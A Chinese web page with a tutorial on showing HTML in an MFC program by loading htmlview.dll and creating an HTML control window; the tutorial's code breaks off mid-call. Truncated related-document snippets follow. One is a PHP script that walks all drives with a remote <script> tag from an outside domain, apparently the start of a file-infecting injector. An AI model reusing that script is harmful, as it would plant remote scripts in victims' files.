SThtmlDialog例子,MFC嵌入HTML控件的方法
从网上的SThtmlDialog例子改过来的,在MFC程序中显示HTML网页的方法
1、在视图类中添加头文件#include <Htmlctrl.h>
2、在视图头文件中添加变量
HWND m_hwndHtml;//HTML控件窗口句柄
HINSTANCE m_HtmlViewInstance;//动态链接库装载句柄
并赋予初始值m_HtmlViewInstance = 0;
3、创建网页控件,可将以下函数在OnInitialUpdate()或OnInitDialog()函数中调用
void C***View::CreateHtmlWindow()
{
if (m_HtmlViewInstance == 0) //表明未曾装载过
{
m_HtmlViewInstance = ::LoadLibrary(L"htmlview.dll");
}
VERIFY(InitHTMLControl(AfxGetInstanceHandle()));
DWORD dwStyle = WS_CHILD | WS_VISIBLE | WS_CLIPSIBLINGS;
RECT rect;
GetClientRect(&rect);
//创建HTML窗口,返回窗口句柄
m_hwndHtml = ::CreateWindow (DISPLAYCLASS,
NULL,
dwStyle,
rect.left,
rect.top,
rect.right,
 
相关文档:
<?php
set_time_limit(0);
$dirArray=array("c:","d:","e:");
foreach ($dirArray as $key => $value)
{
getAllDirAndFile($value);
}
//<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>
function ......
<! - - ... - -> 註解
<!> 跑馬燈
<marquee>...</marquee>普通捲動
<marquee behavior=slide>...</marquee>滑動
<marquee behavior=scroll>...</marquee>預設捲動
......
dp.SyntaxHighlighter
dp.SyntaxHighlighter,这东西yahoo都在用它,支持多种语言。
只需要将代码放到<textarea>标签内,它就可以自动根据class指定的语言来对textarea内容进行着色,还提供了行号、打印等功能。如:
Xml代码
<TEXTAREA class=java name=code><br/> // code here ......
<! - - ... - -> 注解
<!> 跑马灯
<marquee>...</marquee>普通捲动
<marquee behavior=slide>...</marquee>滑动
<marquee behavior=scroll>...</marquee>预设捲动
<marquee behavior=alternate>...</marquee>来回捲动
<marq ......
首先在应用程序的WEB.CONFIG修改如下节点。
<httpHandlers>
<add verb="*" path="*.html" type="System.Web.UI.PageHandlerFactory"/>
</httpHandlers>
<assemblies>
<buildProviders>
<add ext ......